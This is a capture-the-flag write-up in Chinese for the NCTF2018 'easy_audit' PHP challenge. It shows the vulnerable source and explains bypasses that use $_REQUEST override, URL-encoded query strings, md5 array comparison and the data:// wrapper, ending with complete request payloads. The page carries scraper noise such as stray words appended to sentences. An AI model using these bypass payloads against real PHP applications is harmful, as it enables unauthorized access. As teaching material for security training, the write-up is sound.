NCTF2018_easy_audit=>coding_tricks

easy_audit

題目源碼

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('waf..');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('waf..');
    }
}  

修改下,更加適合本地調試php

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('111111');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('2222222');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('33333333');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }else die('55555555');
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('4444444');
    }
}

?> 
來自:https://blog.csdn.net/perfect0066/article/details/84663657  

第一層

$_REQUEST 變量雖說是包含 $_GET,$_POST,$_COOKIE 這些,但實際上卻存在一個覆蓋的問題,就是當 get 和 post 中有一個同名變量 data 時,在 request變量數組 中只會有一個名爲 data 的變量,而且獲取的是 post 的值。經過這樣的覆蓋,從而繞過對 get 變量的值的過濾。
git

 

 

這裏不能用數組繞過,由於下面須要得到值,這裏我能夠利用$_REQUEST的變量覆蓋,用post覆蓋get的同名變量,達到繞過。github

第二層

$_SERVER['QUERY_STRING'] 這裏的bypass,這個點應該是比較常見的了,$_SERVER['QUERY_STRING'] 獲取的值是未經urldecode的,因此直接編碼一下就行了數組

$_SERVER['QUERY_STRING']

這個全局變量中的QUERY_STRING是獲取url中?後面的部分函數

http://localhost/aaa/index.php?p=222&q=333
結果: $_SERVER['QUERY_STRING'] = "p=222&q=333"; $_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333"; $_SERVER['SCRIPT_NAME'] = "/aaa/index.php"; $_SERVER['PHP_SELF'] = "/aaa/index.php";

咱們把url編碼下n爲%6E,對於以下post

 

第三層

數組這裏,fuzz一下,很容易發現數組是可繞的(參見同類型的漏洞也容易想到)學習

這裏的話涉及php md5相關問題,md5函數沒法處理數組,直接傳入空數組,截取字符串爲空,md5函數處理後也爲空,所以相等繞過。編碼

第四層

file_get_contents 這裏要用僞協議其實很容易想到,但不少人彷佛就想着用 php://input ,這裏由於要去覆蓋 $_REQUEST ,因此假如是用 post 去覆蓋的話,就不能用php://input 了。最簡單的,用 data:// 協議就行了。url

這裏就像github上寫的同樣,能夠用php://input來讀取,可是由於須要用post覆蓋get繞過第一層,因此沒法在post上動手。可是能夠用僞協議data://讀取想要的字符串spa

preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun' 這個點,可能作起來的時候會以爲很奇怪,這裏有什麼好繞的?實際上,是由於出題人又雙叒叕寫錯正則了。原本是想寫 preg_match('/^nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun',而後讓去看後面那個 $ 符的。。。

原本應該再多一層的,我本身本地嘗試繞過,發現沒法繞過。原本想經過換行是否能夠,但發現不行。有知道的師傅,麻煩點撥一下。

完整payload

get:

?yulige[]=&nctf=Nnctfisfun&flag=data://text/plain;charset=unicode,ccc_liubi
或者
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain;base64,Y2NjX2xpdWJp
或者
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain,ccc_liubi

post:

nctf=123&flag=1

 

 

 

學習文章:

https://blog.csdn.net/perfect0066/article/details/84663657

https://github.com/NJUPT-coding-gay/NCTF2018/blob/master/Web/Easy_Audit/WriteUp.md

相關文章
相關標籤/搜索